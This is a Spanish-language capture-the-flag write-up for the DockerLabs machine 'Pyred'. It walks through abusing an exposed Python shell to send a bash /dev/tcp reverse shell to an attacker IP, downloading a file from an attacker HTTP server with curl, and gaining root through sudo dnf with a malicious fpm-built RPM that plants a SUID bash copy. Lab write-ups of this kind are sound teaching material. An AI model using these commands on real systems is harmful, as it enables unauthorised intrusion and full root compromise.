Pyred , DOCKERLABS
Este es un reto clasificado como de dificultad medium en la plataforma dockerlabs.es . Nos encontramos con las siguientes características y dificultades , en el tendremos que localizar la entrada al sistema , envio de revshell y escalada de privelegios.
HERRAMIENTAS Y RECURSOS USADOS
- nmap
- Python
- Sudo
- fpm
- https://blog.ikuamike.io/posts/2021/package_managers_privesc/#method-1-creating-a-malicious-rpm-package
Empezamos
Como al arrancar la maquina ya nos dice la ip nos olvidamos de arp-scan , como comprobar la conexion con un ping.
1
ping -c1 172.17.0.2
Ahora realizamos un nmap como de costumbre sin preocuparnos del ruido pues estamos en entorno de pruebas.
1
sudo nmap -p- -sSVC -n -Pn -A -vvv 172.17.0.2
Observamos el resultado y vemos que solo tiene el puerto 5000 abierto , por lo tanto la entrada esta en esa web asi que vamos a revisarla.
El codigo fuente no muestra nada pero por lo que parece es un shell interactivo de python , asi que probamos a ejecutar comandos.
1
print("loco")
Infiltración
Como hemos comprobado si que ejecuta, así que intentamos mandarnos una revshell. Para ello antes de ejecutar la rev nos colocamos a la escucha en la maquina atacante.
1
sudo nc -lvnp 443
y en la victima ejecutamos:
1
2
3
import os
os.system("bash -c bash -i >& /dev/tcp/192.168.0.112/443 0>&1")
Ya tenemos la revshell y podemos trabajar directamente en el objetivo y pasamos a escalar privilegios.
Escalada de privilegios
Como siempre empezaremos por lo mas basico buscando ficheros con permisos erroneos scripts con suid.
1
2
find / -perm -4000 2>/dev/null
sudo -l
El comando find no devuelve nada aprovechable de momento , pero sudo nos da la idea de como atacar puesto que el usuario primpi puede ejecutar dnf que es un gestor de paquetes de fedora.
Podemos usar gtfobins para averiguar como explotar esa vulnerabilidad.
Yo tengo instalado searchbins y ejecuto , donde -b es el binario al que tenemos acceso y -f indica la funcion que utilizaremos para acceder al binario
1
./searchbins.sh -b dnf -f sudo
El searchbins me devuelve lo siguiente:
It runs commands using a specially crafted RPM package. Generate it with fpm and upload it to the target.
Descargamos e instalamos la herramienta para crear el rpm.
1
2
3
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
Debemos crear un rpm malicioso en nuestra maquina atacante , lo cual lo podemos hacer con los comandos anteriores y una vez lo tengamos subirlo a la maquina victima e instalarlo. Usaremos los siguientes comandos.
En maquina atacante :
1
python3 -m http.server
Y el la victima :
1
2
curl -O http://ipatacante/rpmcreado
sudo dnf install -y rpmcreado.rpm
Yo personalmente no acabo de entender que es lo que hacen exactamente esos comandos así que busque otra forma de hacerlo que fuera mas entendible para mi , así que hice lo siguiente.
1
mkdir exploit_rpm
Creo un script en el directorio creado anteriormente con el siguiente contenido.
1
2
3
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +xs /tmp/bash
Una vez creado el script hago uso de la herramienta fpm que hemos instalado anteriormente , yo al ser usuario de arch no tengo instalado rpmbuild asi que me lance un VM de kali para realizar esa tarea y ejecute :
1
2
3
fpm -n exploit -s dir -t rpm --before-install ./exploit/exploit.sh ./exploit
Created package {:path=>"exploit-1.0-1.x86_64.rpm"}
Ahora que ya lo tenemos creado solo tendremos que enviarlo a la maquina objetivo y instalarlo y ejecutarlo como explique antes el ultimo comando que utilizo para ser root es :
1
/tmp/bash -p
Como observamos ya estamos como superuser.
Hasta aqui llegamos , un saliudo y gracias por leer.
Comments powered by Disqus.